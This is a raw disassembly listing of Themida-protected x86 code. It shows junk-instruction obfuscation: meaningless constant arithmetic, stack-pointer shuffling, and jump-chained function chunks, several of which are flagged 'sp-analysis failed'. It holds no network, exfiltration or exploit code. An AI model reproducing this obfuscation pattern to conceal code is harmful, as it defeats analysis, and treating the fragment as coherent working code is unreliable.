; =============== S U B	R O U T	I N E =======================================



sub_57117B	proc near		; CODE XREF: sub_569E1B-148Ej

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005657EA SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0057148F SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00571ABE SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005730A7 SIZE 00000033 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebx
		mov	bl, 0E2h
		add	bl, 0D0h
		add	al, bl
		jmp	loc_5730A7
sub_57117B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_57118D:				; CODE XREF: sub_57354D-1934j
		add	ecx, 4
		xchg	ecx, [esp+10h+var_10]
		mov	esp, [esp+10h+var_10]
		pop	[esp+4+var_4]
		jmp	loc_569C1D
; END OF FUNCTION CHUNK	FOR sub_57354D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563ADF


loc_5711A1:				; CODE XREF: sub_563ADF+Ej
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+8+var_8]
		jmp	loc_5739A9
; END OF FUNCTION CHUNK	FOR sub_563ADF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569A84


loc_5711B7:				; CODE XREF: sub_569A84-6241j
		sub	eax, 18F71FDCh
		jmp	loc_56BD80
; END OF FUNCTION CHUNK	FOR sub_569A84
; ---------------------------------------------------------------------------


loc_5711C1:				; DATA XREF: Themida_:0055FCD8o
		mov	cx, [esp]
		push	278Dh
		jmp	loc_56FAB9
; ---------------------------------------------------------------------------


loc_5711CF:				; CODE XREF: Themida_:00562F4Dj
		xor	edi, edx
		jmp	loc_56B194
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56A016


loc_5711D6:				; CODE XREF: sub_56A016+43E5j
		pop	ebx
		push	16F8h
		mov	[esp-4+arg_0], ebx
		mov	ebx, esp
		push	ecx
		jmp	loc_567EA2
; END OF FUNCTION CHUNK	FOR sub_56A016
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571F6F


loc_5711E7:				; CODE XREF: sub_571F6F-E73Dj
		sub	ch, ah
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+14h+var_14]
		pop	esp
		push	cx
		not	byte ptr [esp+12h+var_14+3]
		pop	cx
		shr	ch, 5
		sub	esp, 4
		mov	[esp+14h+var_14], edx
		mov	dl, 70h
		or	dl, 0EEh
		sub	dl, 2Dh
		push	ax
		mov	ah, 35h
		jmp	loc_572628
; END OF FUNCTION CHUNK	FOR sub_571F6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56628B


loc_571221:				; CODE XREF: sub_56628B+1452j
		push	5BB1h
		mov	[esp+10h+var_10], edx
		mov	edx, 0FE7088Bh
		jmp	loc_56FD0F
; END OF FUNCTION CHUNK	FOR sub_56628B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570FB7


loc_571233:				; CODE XREF: sub_570FB7-CF31j
		push	607D5FCCh
		pop	eax
		jmp	loc_56F507
; END OF FUNCTION CHUNK	FOR sub_570FB7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5610CE


loc_57123E:				; CODE XREF: sub_5610CE+3FF0j
		mov	ecx, 522DE6D8h
		add	ecx, edx
		jmp	loc_56F379
; END OF FUNCTION CHUNK	FOR sub_5610CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5685B2


loc_57124A:				; CODE XREF: sub_5685B2-5B37j
		push	0
		jmp	loc_56D9AA
; END OF FUNCTION CHUNK	FOR sub_5685B2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572E16


loc_571254:				; CODE XREF: sub_572E16-B2F2j
		push	esi
		mov	esi, esp
		jmp	loc_56553A
; END OF FUNCTION CHUNK	FOR sub_572E16
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571C0A


loc_57125C:				; CODE XREF: sub_571C0A-11623j
		xor	[esp+0], eax
		xor	eax, [esp+0]
		mov	esp, [esp+0]
		jmp	loc_566BD8
; END OF FUNCTION CHUNK	FOR sub_571C0A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56DAB2


loc_57126A:				; CODE XREF: sub_56DAB2-7508j
		add	eax, 42270DB1h
		push	ecx
		mov	ecx, 314D2FB5h
		sub	ecx, 75E659B0h
		sub	ecx, 4D5D5BE3h
		shr	ecx, 8
		jmp	loc_564051
; END OF FUNCTION CHUNK	FOR sub_56DAB2

; =============== S U B	R O U T	I N E =======================================



sub_571289	proc near		; CODE XREF: sub_5736FA-E5EDj

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0056046F SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00561D95 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005628DF SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00568D69 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005696FE SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0056A3BB SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056BA12 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056C7F1 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0056CD7A SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056F080 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00570E38 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00572462 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005725D6 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00573513 SIZE 00000019 BYTES

		sub	esp, 4
		mov	[esp+0], ecx
		jmp	loc_570E38
sub_571289	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574656


loc_571294:				; CODE XREF: sub_574656-B414j
		and	eax, edi
		mov	edi, [esp+0]
		add	esp, 4
		xor	eax, 114082h
		push	451Fh
		mov	[esp+0], eax
		push	ebx
		mov	ebx, 288D37A7h
		add	dword ptr [esp+4], 5EDC7FDCh
		add	[esp+4], ebx
		jmp	loc_56451C
; END OF FUNCTION CHUNK	FOR sub_574656
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56616D


loc_5712C3:				; CODE XREF: sub_56616D-39A4j
		push	4C95h
		mov	[esp-4+arg_0], ecx
		push	esi
		mov	esi, 191D3D5Dh
		mov	ecx, esi
		jmp	loc_561298
; END OF FUNCTION CHUNK	FOR sub_56616D
; ---------------------------------------------------------------------------


loc_5712D8:				; CODE XREF: Themida_:0056FCBFj
		mov	ebx, 0D0780520h
		jmp	loc_56A273
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5609A1


loc_5712E2:				; CODE XREF: sub_5609A1+131D7j
		mov	bl, al
		mov	[edx], bl
		jmp	loc_56CC03
; END OF FUNCTION CHUNK	FOR sub_5609A1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5673C3


loc_5712EB:				; CODE XREF: sub_5673C3+58BAj
		inc	eax
		dec	eax
		neg	eax
		xor	eax, ebx
		xor	ebx, eax
		xor	eax, ebx
		jmp	loc_566125
; END OF FUNCTION CHUNK	FOR sub_5673C3
; ---------------------------------------------------------------------------


loc_5712FA:				; CODE XREF: Themida_:0057466Dj
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	1415h
		mov	[esp], ebp
		push	2258h
		mov	[esp], esp
		jmp	loc_5701EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56CC46


loc_571319:				; CODE XREF: sub_56CC46+2D0j
		pop	ebx
		xchg	esi, [esp+0Ch+var_C]
		jmp	loc_565BFA
; END OF FUNCTION CHUNK	FOR sub_56CC46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567866


loc_571322:				; CODE XREF: sub_567866+4j
		push	208Ch
		mov	[esp+4+var_4], eax
		sub	esp, 4
		push	esp
		pop	[esp+0Ch+var_C]
		add	[esp+8+var_8], 4
		push	[esp+8+var_8]
		mov	eax, [esp+0Ch+var_C]
		add	esp, 4
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		push	edi
		mov	edi, 4
		add	eax, 5F067FEh
		add	eax, edi
		jmp	loc_56B8FB
; END OF FUNCTION CHUNK	FOR sub_567866
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5678CB


loc_57136E:				; CODE XREF: sub_5678CB+86BAj
		xor	eax, edi
		pop	edi
		push	ebp
		mov	ebp, 7EFF61E7h
		push	4BC5h
		mov	[esp], edi
		mov	edi, 1D0C6B59h
		xor	ebp, edi
		pop	edi
		sub	edi, ebp
		jmp	loc_57252D
; END OF FUNCTION CHUNK	FOR sub_5678CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567D72


loc_57138E:				; CODE XREF: sub_567D72-3790j
		xor	[esp+8+var_8], eax
		xor	eax, [esp+8+var_8]
		pop	esp
		mov	[esp+4+var_4], ecx
		sub	esp, 4
		push	esp
		pop	[esp+0Ch+var_C]
		jmp	loc_5613F9
; END OF FUNCTION CHUNK	FOR sub_567D72

; =============== S U B	R O U T	I N E =======================================



sub_5713A7	proc near		; DATA XREF: Themida_:0055FDB4o

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8

; FUNCTION CHUNK AT 005618F3 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00561DB1 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00562CAE SIZE 0000003B BYTES
; FUNCTION CHUNK AT 00564D6B SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005654AE SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005656F5 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00566C09 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00566D1B SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056782E SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00569762 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005697C7 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0056A6D7 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056B4EC SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056CC2D SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0056D244 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 0056F18F SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0056F520 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056FA23 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00571CA7 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00572065 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005720DA SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005728D0 SIZE 0000000E BYTES

		push	edx
		mov	edx, 3Ch
		push	4A0Bh
		mov	[esp+8+var_8], eax
		mov	eax, 144A11F8h
		inc	eax
		or	eax, 7D683644h
		xor	eax, 1000DB7h
		shr	eax, 8
		xor	eax, 9B16363h
		add	edx, eax
		pop	eax
		sub	esp, 4
		mov	[esp+8+var_8], eax
		jmp	loc_5654AE
sub_5713A7	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561027


loc_5713DE:				; CODE XREF: sub_561027+68DEj
		mov	edi, 38755226h
		add	edi, 48367338h
		jmp	loc_571B3F
; END OF FUNCTION CHUNK	FOR sub_561027
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567049


loc_5713EE:				; CODE XREF: sub_567049+20F0j
		pop	edx
		xchg	ebx, ebp
		xor	[esp+0], ebp
		xor	ebp, [esp+0]
		jmp	loc_565A87
; END OF FUNCTION CHUNK	FOR sub_567049
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56DA36


loc_5713FC:				; CODE XREF: sub_56DA36-3E54j
		pop	ebp
		sub	edi, ecx
		pop	ecx
		mov	ebp, [esp+0]
		jmp	loc_560BB1
; END OF FUNCTION CHUNK	FOR sub_56DA36
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569B75


loc_571408:				; CODE XREF: sub_569B75-61F3j
		mov	eax, ebp
		pop	ebp
		and	eax, 19D938F2h
		jmp	loc_5673FB
; END OF FUNCTION CHUNK	FOR sub_569B75
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56DBD1


loc_571415:				; CODE XREF: sub_56DBD1-258Aj
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+8+var_8]
		pop	esp
		push	[esp+4+var_4]
		pop	eax
		jmp	loc_562388
; END OF FUNCTION CHUNK	FOR sub_56DBD1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574304


loc_57142E:				; CODE XREF: sub_574304-DCE2j
		mov	[esp+0], ebx
		push	esi
		jmp	loc_568B4B
; END OF FUNCTION CHUNK	FOR sub_574304
; ---------------------------------------------------------------------------


loc_571437:				; CODE XREF: Themida_:0057350Ej
		mov	edx, esp
		add	edx, 4
		jmp	loc_56841C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5604FE


loc_571444:				; CODE XREF: sub_5604FE+14B9Aj
		mov	esi, ebx
		pop	ebx
		inc	esi
		or	esi, 1179456Fh
		inc	esi
		shl	esi, 6
		neg	esi
		sub	esi, 0A1ADFFFCh
		add	ecx, esi
		mov	esi, [esp+8+var_8]
		push	ebx
		push	esp
		jmp	loc_563C94
; END OF FUNCTION CHUNK	FOR sub_5604FE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569DB5


loc_571466:				; CODE XREF: sub_569DB5+81C8j
		push	esp
		pop	ecx
		jmp	loc_566BF2
; END OF FUNCTION CHUNK	FOR sub_569DB5

; =============== S U B	R O U T	I N E =======================================



sub_57146D	proc near		; DATA XREF: Themida_:0055FEF0o

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= word ptr  4

; FUNCTION CHUNK AT 005602FC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00561968 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00562FCD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005641E5 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00564B37 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00565823 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00565B5B SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005679C6 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00567E64 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00568C8E SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0056A4BD SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056ACD5 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056ACEF SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056B53C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056B80A SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056BC81 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0056D835 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056D85F SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0056E179 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0056EEB3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056F294 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056F2AC SIZE 0000003E BYTES
; FUNCTION CHUNK AT 0056FD84 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056FDE4 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056FF95 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005707A4 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005717A3 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00571F92 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00571FCA SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00572E83 SIZE 00000010 BYTES

		lodsb
		xor	al, bl
		push	472Fh
		jmp	loc_5679C6
sub_57146D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D414


loc_57147A:				; CODE XREF: sub_56D414+Fj
		mov	[esp+8+var_8], esp
		jmp	sub_5715F0
; END OF FUNCTION CHUNK	FOR sub_56D414
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561F05


loc_571482:				; CODE XREF: sub_561F05+4C2Dj
		dec	esi
		push	eax
		sub	esp, 4
		mov	[esp+14h+var_14], edx
		jmp	loc_56BA56
; END OF FUNCTION CHUNK	FOR sub_561F05
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57117B


loc_57148F:				; CODE XREF: sub_57117B-B976j
		mov	cl, 56h
		push	eax
		mov	al, 38h
		sub	cl, al
		pop	eax
		jmp	sub_56489B
; END OF FUNCTION CHUNK	FOR sub_57117B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566DFE


loc_57149C:				; CODE XREF: sub_566DFE-23C4j
		add	edi, 67A0486Ah
		sub	edi, 5BF202DCh
		pop	esi
		xor	edi, [esp-8+arg_4]
		xor	[esp-8+arg_4], edi
		xor	edi, [esp-8+arg_4]
		mov	esp, [esp-8+arg_4]
		test	cx, ax
		pushf
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_566DFE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562EB3


loc_5714BE:				; CODE XREF: sub_562EB3+6j
		mov	eax, 4
		add	esi, eax
		pop	eax
		sub	esi, 4
		jmp	loc_56A284
; END OF FUNCTION CHUNK	FOR sub_562EB3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564D26


loc_5714CE:				; CODE XREF: sub_564D26+967Ej
		add	esp, 4
		push	6BA8h
		jmp	loc_56FF43
; END OF FUNCTION CHUNK	FOR sub_564D26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5619EF


loc_5714DB:				; CODE XREF: sub_5619EF+4j
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_5619EF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568E5C


loc_5714E0:				; CODE XREF: sub_568E5C-20F5j
		pop	edx
		xor	edi, ebx
		pop	ebx
		shl	edi, 3
		add	edi, 1740E29h
		add	eax, edi
		pop	edi
		jmp	loc_564D7A
; END OF FUNCTION CHUNK	FOR sub_568E5C
; ---------------------------------------------------------------------------


loc_5714F5:				; CODE XREF: Themida_:005720EAj
		xor	ebp, 37A06D8Ch
		xor	ebp, 9BADBBA5h
		or	edi, ebp
		pop	ebp
		sub	edi, 0FFFFFFFFh
		jmp	loc_572012
; ---------------------------------------------------------------------------


loc_57150C:				; CODE XREF: Themida_:00561377j
		add	esp, 4
		neg	ebp
		add	ebp, 65E56AFAh
		sub	ebp, 0F53D1ED4h
		mov	eax, ebp
		pop	ebp
		add	edx, 7D5B0B81h
		sub	edx, eax
		jmp	loc_563DF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561418


loc_57152D:				; CODE XREF: sub_561418+12C1Cj
		mov	edi, 661715D5h
		inc	edi
		xor	edi, 6344361Ah
		add	ecx, edi
		pop	edi
		jmp	loc_569ED9
; END OF FUNCTION CHUNK	FOR sub_561418
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5684A6


loc_571541:				; CODE XREF: sub_5684A6-2881j
		xor	esi, [esp+4+var_4]
		pop	esp
		mov	[esp+0], edx
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_5684A6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_57154D:				; CODE XREF: sub_57354D-7886j
		mov	eax, [esp+0Ch+var_C]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+10h+var_10]
		pop	esp
		xor	edx, 16FC1E8Fh
		jmp	loc_574A34
; END OF FUNCTION CHUNK	FOR sub_57354D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560C12


loc_57156B:				; CODE XREF: sub_560C12+Fj
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_5625CE
; END OF FUNCTION CHUNK	FOR sub_560C12
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B11B


loc_57157C:				; CODE XREF: sub_56B11B-6187j
		add	[esp+10h+var_10], 3D1274E9h
		pop	esi
		not	esi
		inc	esi
		shr	esi, 3
		xor	esi, 0C4C08B1h
		mov	eax, esi
		jmp	loc_561F4A
; END OF FUNCTION CHUNK	FOR sub_56B11B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56EE9F


loc_571597:				; CODE XREF: sub_56EE9F-12D3j
		inc	eax
		xor	eax, 6A82C1BBh
		add	ebp, eax
		pop	eax
		shr	ebp, 1
		jmp	loc_575121
; END OF FUNCTION CHUNK	FOR sub_56EE9F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570FB7


loc_5715A7:				; CODE XREF: sub_570FB7-4B48j
		add	ebx, 4
		xchg	ebx, [esp+0]
		pop	esp
		add	esp, 4
		pop	eax
		sub	[edi+24h], ebx
		jmp	loc_56BA40
; END OF FUNCTION CHUNK	FOR sub_570FB7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56EFD2


loc_5715BD:				; CODE XREF: sub_56EFD2-B558j
		pop	dword ptr [esp+0]
		mov	esp, [esp-4+arg_0]
		btc	word ptr [esp-4+arg_0],	ax
		pushf
		jmp	loc_573939
; END OF FUNCTION CHUNK	FOR sub_56EFD2
; ---------------------------------------------------------------------------


loc_5715CE:				; CODE XREF: Themida_:0056A27Fj
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 3CA8369Dh
		or	ebp, eax
		pop	eax
		xor	ebp, 47A37BEAh
		sub	ebp, 5E100CE4h
		shl	ebp, 6
		jmp	loc_56C055

; =============== S U B	R O U T	I N E =======================================



sub_5715F0	proc near		; CODE XREF: sub_56D414+4069j

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00560296 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00561935 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0056255D SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0056354B SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00563DB0 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056B5EE SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0056D740 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0056F29E SIZE 0000000E BYTES

		sub	esp, 4
		mov	[esp-4+arg_0], ecx
		mov	ecx, 4
		sub	esp, 4
		mov	[esp+0], edi
		jmp	loc_56D740
sub_5715F0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D3AF


loc_57160C:				; CODE XREF: sub_56D3AF-B949j
		add	esi, ebx
		add	esi, 3A6D035Dh
		mov	ebx, [esp+0Ch+var_C]
		add	esp, 4
		add	esi, 4
		push	esi
		push	[esp+0Ch+var_8]
		pop	esi
		pop	[esp+0Ch+var_C]
		jmp	loc_5697FA
; END OF FUNCTION CHUNK	FOR sub_56D3AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574000


loc_571631:				; CODE XREF: sub_574000-1B4Aj
		add	esp, 4
		push	58A1h
		jmp	loc_56FB60
; END OF FUNCTION CHUNK	FOR sub_574000
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561541


loc_57163E:				; CODE XREF: sub_561541+10A22j
		add	esi, eax
		pop	eax
		push	eax
		mov	eax, 4
		sub	esi, eax
		pop	eax
		xor	esi, [esp+4+var_4]
		jmp	loc_5601E6
; END OF FUNCTION CHUNK	FOR sub_561541
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57549C


loc_571652:				; CODE XREF: sub_57549C-13850j
		pop	edx
		sub	edi, 0FBD9CBD2h
		sub	eax, edi
		jmp	loc_573897
; END OF FUNCTION CHUNK	FOR sub_57549C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568CD2


loc_571660:				; CODE XREF: sub_568CD2+938Ej
		pop	esp
		mov	[esp+0], edi
		push	1E9Fh
		jmp	loc_5676A5
; END OF FUNCTION CHUNK	FOR sub_568CD2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5753A5


loc_57166E:				; CODE XREF: sub_5753A5+4j
		push	81Eh
		mov	[esp+4+var_4], ebp
		mov	ebp, esp
		jmp	loc_56FC1E
; END OF FUNCTION CHUNK	FOR sub_5753A5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5666C3


loc_57167D:				; CODE XREF: sub_5666C3+8j
		mov	ebx, [esp-8+arg_4]
		add	esp, 4
		push	edi
		jmp	loc_56E78B
; END OF FUNCTION CHUNK	FOR sub_5666C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57549C


loc_57168C:				; CODE XREF: sub_57549C-C689j
		mov	ebp, [esp+8+var_8]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		push	eax
		mov	eax, esp
		jmp	loc_574D72
; END OF FUNCTION CHUNK	FOR sub_57549C

; =============== S U B	R O U T	I N E =======================================



sub_5716A0	proc near		; CODE XREF: sub_567B29+2565j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00561854 SIZE 0000003B BYTES

		push	ebx
		jmp	loc_561854
sub_5716A0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568D9E


loc_5716A6:				; CODE XREF: sub_568D9E+1B42j
		not	edi
		jmp	loc_56A5CB
; END OF FUNCTION CHUNK	FOR sub_568D9E
; ---------------------------------------------------------------------------


loc_5716AD:				; CODE XREF: Themida_:00573328j
		mov	esi, 4
		jmp	loc_56EF59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563A7F


loc_5716B7:				; CODE XREF: sub_563A7F+1A4Aj
		mov	[esp+12h+var_14+2], ebp
		jmp	loc_566781
; END OF FUNCTION CHUNK	FOR sub_563A7F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561418


loc_5716BF:				; CODE XREF: sub_561418+7229j
		pop	edi
		xor	edx, ebp
		jmp	loc_5701C2
; END OF FUNCTION CHUNK	FOR sub_561418
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D589


loc_5716C7:				; CODE XREF: sub_56D589+6j
		xor	ebp, ebx
		pop	ebx
		jmp	sub_5735AA
; END OF FUNCTION CHUNK	FOR sub_56D589
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572DD7


loc_5716CF:				; CODE XREF: sub_572DD7+13j
		push	[esp+8+var_8]
		pop	edi
		push	655Fh
		mov	[esp+0Ch+var_C], esi
		push	esp
		pop	esi
		add	esi, 4
		jmp	loc_56FA5C
; END OF FUNCTION CHUNK	FOR sub_572DD7

; =============== S U B	R O U T	I N E =======================================



sub_5716E8	proc near		; DATA XREF: Themida_:0055FD38o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0056D7B8 SIZE 0000000D BYTES

		mov	ax, [esp+0]
		jmp	loc_56D7B8
sub_5716E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_5716F1	proc near		; CODE XREF: sub_569AB3+AF45j

var_C		= dword	ptr -0Ch
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 00563E23 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00569A1C SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056E15B SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00571DD6 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0057259C SIZE 0000001F BYTES

		push	ebx
		push	edi
		push	2F5D2996h
		mov	edi, [esp+0]
		add	esp, 4
		jmp	loc_569A1C
sub_5716F1	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56959A


loc_571703:				; CODE XREF: sub_56959A-45Bj
		xchg	ecx, [esp+8+var_8]
		jmp	loc_56C241
; END OF FUNCTION CHUNK	FOR sub_56959A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56BC97


loc_57170B:				; CODE XREF: sub_56BC97+7382j
		push	esi
		mov	esi, 2
		jmp	loc_56CD39
; END OF FUNCTION CHUNK	FOR sub_56BC97
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57236D


loc_571716:				; CODE XREF: sub_57236D+17j
		mov	esi, 4
		add	eax, esi
		jmp	loc_567553
; END OF FUNCTION CHUNK	FOR sub_57236D
; ---------------------------------------------------------------------------
